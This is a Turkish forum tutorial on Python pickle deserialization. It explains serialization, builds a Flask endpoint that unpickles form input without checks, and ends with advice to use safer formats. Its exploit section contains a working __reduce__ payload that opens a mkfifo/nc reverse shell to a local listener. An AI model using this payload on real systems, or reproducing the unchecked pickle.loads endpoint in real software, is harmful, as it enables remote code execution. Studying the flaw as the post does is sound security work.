Python Pickle, Deserialization Zaafiyeti

  • Konbuyu başlatan Konbuyu başlatan mel4mi
  • Başlangıç tarihi Başlangıç tarihi

mel4mi

Team Member
Katılım
24 Ocak 2024
Mesajlar
1
Tepkime puanı
2
Puanları
3
Güncel yazılım teknolojilerin gelişmesiyle birlikte verilerin taşınması, saklanması ve hızlı bir şekilde işlenmesi önemli bir hal almıştır. Özellikle Finans, Turizm veya E-Ticaret gibi iş istatistiklerinin daha önemli olduğu alanlarda verilerilerin büyüklüğü bir sorun haline gelmeye başlamış ve yazılımcılar yeni bir çözüm arayışına girmişlerdir. Bu sorunun önüne bir nebze'de olsa geçebilmek için yazılımcılar "Serialization" ve "Deserialization" dedikleri teknikleri geliştirdiler. Peki Serialization ve Deserialization nedir ?


Serialization ve Deserialization:

Serialization: Sahip olunan verinin veya objenin streambyte olarak yani verinin 8bit(1 byte) olacak şekilde en küçük depolama haline dönüştürülme işlemidir. Bu sayede veriler taşınırken hızlı ve güvenli taşınır. Saklanırken ise daha az yer kaplayarak saklanır. Bu işlemlerin tamamına Serilazition yani "Serileştirme" denir.

Deserialization: Seri hale getirilmiş verinin tekrardan ilk haline döndürme işlemine Deserilazition(seriden çıkarma) denir. Bu işlem sayesinde programların veya api'lerin kullanabileceği veri haline geri dönüşmüş olur. Genellikle güvenlik zaafiyetleri Deserilazition işlemi esnasında çıkar.



Örnek Serilazition - Deserilazition:

Python:
import pickle

# seri hale getirelecek veri

veri = ["mel4mi", "2024", 1, 2, 3]



# veriyi seri hale getirme işlemi

serilazition = pickle.dumps(veri)

# veriyi seriden çıkarma işlemi

deserilazition = pickle.loads(serilazition)



# sonuçları yazadırma

print("Deserileştirilmemiş veri: ", deserilazition)

print("Serileştirilmiş veri: ", serilazition)



# serialization işlem sonucu: b'\x80\x04\x95\x1b\x00\x00\x00\x00\x00\x00\x00]\x94(K\x06\x8c\x06mel4mi\x94K\x07K\x08K\t\x87\x94.'

# deserialization işlemi sonucu: ['mel4mi', '2024', 1, 2, 3]



Yukarıdaki kod parçacığında örnek bir serileştirme ve seriden çıkarma işlemi gösterilmiştir. Seri hale getirilmiş veri byte halinde tutulduğu için daha az depolama kaplar ve işlenmesi daha kolay olur.



Deserialization zaafiyeti ve yetkinlikleri:
  • RCE (Uzaktaki makineye erişim elde edilebilir)
  • DDOS (Sistemdeki işlem yükünü arttırarak hizmet reddi saldırısı yapılabilir)
  • Privesc (Çalışan web uygulamasında yetkilerimizi yükseltebilir veya lateral movement yapılabilir)
  • Arbitrary file access (Karşı makinedeki dosyalara erişme imkanı verebilir)
Web sunucusu oluşturma:

Python:
@app.route("/",methods=["GET"])

def main():

        if request.method == "GET":

            return render_template("index.html")



@app.route("/pickle_d", methods=["POST"])

def pickle_d():

    data = base64.urlsafe_b64decode(request.form['pickled'])

    deserialized = pickle.loads(data)

    return render_template('pickled.html',  unpickled_data=deserialized)



if __name__ == "__main__":

    app.run()
Yukarıda deserialization zaafiyetini deneyeceğimiz bir flask sunucusu oluşturdum. Bu sunucu kullanıcıdan aldığı serilize edilmiş verileri herhangi bir kontrol veya filtreleme işleminden geçirilmeden deserialization işlemini yapmaktadır. Bu durum, bizim ilettiğimiz bütün verilerinde aynı şekilde işlenebileceği anlamına gelmektedir.



Zaafiyeti sömürmek:
Python:
import pickle

import base64

import os


class RCE:

    def __reduce__(self):

        cmd = ('rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | '

               '/bin/sh -i 2>&1 | nc 127.0.0.1 1234 > /tmp/f')

        return os.system, (cmd,)



if __name__ == '__main__':

    pickled = pickle.dumps(RCE())

    print(base64.urlsafe_b64encode(pickled))
Yukarıdaki Python kodunu açıklamamız gerekirse; RCE adlı bize özel bir sınıf oluşturup `reduce` metodunu kullanarak bir cmd kodu çalıştırmayı amaçlıyoruz. Buradaki cmd payload'ı "reverse shell" yani karşı bilgisayardan komut satırı almak için kullanılır. Aslında bu kodda önemli olan nokta `__reduce__` metodunun kullanılmasıdır. Çünkü `reduce` metodu kendimize özel tanımladığımız verileri, kendi isteğimiz şekilde işleyebileceğimizin iznini verir. Yani bir yemeği kendi yöntemlerimizde nasıl pişireceğimizi ve bu tarifleri nasıl paylaşabileceğimizin yetkisini verir. Bu sayede farklı cihazlar bizim özel tanımladığımız verileri, bizim belirttiğimiz tarife bakarak kendi sistemlerinde işleyeceklerdir. Sonuç olarak kendi isteklerimize göre tasarladığımız RCE sınıfı, bir cevap gönderirken bir Python fonksiyonu ve yanında bir argümanla cevap döndürecektir. Bu şekilde seri hale getirdiğimiz veriyi, herhangi bir bilgisayar seriden çıkartırken de aynı adımları işleyecektir. Bu sayede biz de karşı sistemde kod çalıştırma yetkisine erişebilmiş olacağız. Aynı şekilde bir sistemde kullanıcıların yetkilerini ayarlayan bir modülde de, bu yöntemleri kullanarak kendimizi üst erişimlere çıkarabiliriz.


Dosyaları github linkine ekleyeceğim. Kendi güvenliği sağlanmış ortamlarınızda deneyebilirsiniz.

Kaynak kodlar: Link


Sonuç:
Sonuç olarak yukarıdaki örnekte de görüleceği gibi bir deserialization zafiyeti, kod yürütme açıklarına neden olabilmektedir. Pickle kütüphanesinin oluşturduğu risklerden dolayı, pickle kütüphanesinin kullanılması önerilmez. Bunun yerine daha güvenli formatlarda veri taşımak için json, xml gibi formatlar tercih edilmelidir. Eğer pickle kütüphanesini kullanmaya kararlıysanız, güvenmediğiniz hiçbir veriyi deserialize etmemeye özen göstermelisiniz.
 
Geri
Üst